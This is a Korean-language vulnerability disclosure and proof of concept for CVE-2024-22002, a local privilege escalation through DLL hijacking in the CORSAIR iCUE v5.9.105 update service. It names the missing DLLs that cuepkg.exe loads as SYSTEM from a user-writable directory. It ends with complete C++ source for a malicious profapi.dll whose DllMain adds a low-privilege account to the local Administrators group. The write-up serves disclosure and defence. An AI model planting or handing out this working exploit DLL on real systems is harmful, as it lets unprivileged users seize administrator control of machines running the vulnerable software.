
CORSAIR iCUE v5.9.105의 업데이트 과정 중 DLL 하이재킹을 통해 로컬 권한 상승 취약점(CVE-2024-22002)을 증명하는 개념 증명 코드로, 권한이 없는 사용자가 SYSTEM 권한을 획득할 수 있게 합니다.
iCUE v5.9.105에서 DLL 하이재킹 취약점이 확인되었습니다. 이 취약점은 "iCUEUpdateService" 서비스가 관리하는 업데이트 프로세스 중에 발생합니다. 해당 서비스는 업데이트를 수행하는 프로세스("cuepkg.exe")를 생성하며, 이 프로세스는 "NT AUTHORITY\SYSTEM" 권한으로 실행됩니다. 프로세스 시작 시 iCUE 설치 디렉토리 내의 \cuepkg-1.2.6 디렉토리에서 여러 DLL을 검색합니다. 이러한 DLL 중 일부는 기본적으로 존재하지 않지만, 일반 사용자가 해당 디렉토리에 파일을 생성할 수 있는 권한을 가지고 있으므로 공격자가 악성 DLL을 디렉토리에 주입할 가능성이 있습니다. 결과적으로 이 악성 DLL은 관리자 권한으로 cuepkg.exe에 로드됩니다.
발견된 영향을 받는 DLL은 다음과 같습니다:
MSASN1.dllNTASN1.dllprofapi.dllCVSS 벡터: (AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H)
예를 들어, DLL profapi.dll을 사용합니다.
%INSTALLDIR%cuepkg-1.2.6 디렉토리에 추가합니다.악성 DLL이 실행되기 전 lowpriv 사용자의 권한:

악성 DLL이 실행된 후 lowpriv 사용자의 권한:

#include "pch.h"
#include <windows.h>
#include <cstdlib>
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
switch (ul_reason_for_call) {
case DLL_PROCESS_ATTACH:
{
system("net localgroup Administrators desktop-ckfiane\\lowpriv /add");
}
break;
case DLL_PROCESS_DETACH:
break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
}
return TRUE;
}